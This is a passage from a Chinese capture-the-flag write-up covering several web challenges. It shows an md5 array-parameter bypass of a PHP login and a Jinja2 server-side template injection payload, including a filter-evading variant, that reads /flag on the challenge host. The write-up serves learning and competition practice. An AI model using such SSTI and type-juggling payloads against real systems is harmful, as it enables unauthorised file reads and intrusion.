  9. die('密码不能是纯数字');
  10. }elseif (md5($_GET['name']) == md5($_GET['pwd'])){
  11. die($key);}
  12. else{
  13. echo '<p>无效密码</p>';}
  14. }
  15. else{
  16. echo '<p>首次登陆!</p>';
  17. }
  18. ?>

需要账号密码的值不能相等,也不能为纯数字,但是最后md5值相等

经典的md5绕过问题,这个可以用md5强碰撞也可以用数组使得md5函数出错返回False

这里我选择直接用数组绕过使得md5函数出错返回False即可绕过获取flag

?name[]=1&pwd[]=1

得到flag:

FDA095FC516DA9AE2A15AB135BFF8C80

web5

http://101.133.134.12:8005/

image-20220609221148060

控制面板显示是个tabib框架,但是上网找相关漏洞没有任何发现,网站的页面到处点也没发现可利用点,文件上传和新建数据什么的实际上不会发包执行,但是在日历版块有异常,访问会返回下面这句话

image-20220609211231533

猜测问题是出在这里,但是不知道漏洞点在哪里,最后开了个扫描发现一个console接口,进去发现是一个Flask后台,想到计算Pin码但是并不可行,最后发现在日历接口有SSTI,使用SSTI获取/flag

通过内置模块获取open函数打开/flag并通过read得到文件内容

  1. {{''.__class__.__mro__[-1].__subclasses__()[64].__init__.__globals__.__builtins__.open('/flag','r').read() }}

变化一下就是

  1. http://101.133.134.12:8005/{{''[request.values.c][request.values.m][-1][request.values.s]()[64][request.values.i][request.values.g][request.values.b][request.values.o](request.values.file,'r')[request.values.r]() }}&amp;c=__class__&amp;m=__mro__&amp;s=__subclasses__&amp;i=__init__&amp;g=__globals__&amp;b=__builtins__&amp;o=open&amp;r=read&amp;file=/flag

web6

http://101.133.134.12:8006/

image-20220609222553452

image-20220609222805556

image-20220609222758667

再次陷入谜语人状态,这个最后也是没出来,不过水群看到说是摁爆破(原本想过爆破的,不过前两天刚把垃圾字典删了就没爆…),最后password和hash为admin@123的对应值的时候就会得到存flag的文件gettf1ag.php,访问就有flag

  • 发表于 2022-06-16 09:33:27
  • 阅读 ( 7513 )
  • 分类:其他

0 条评论

uuu
uuu

2 篇文章

站长统计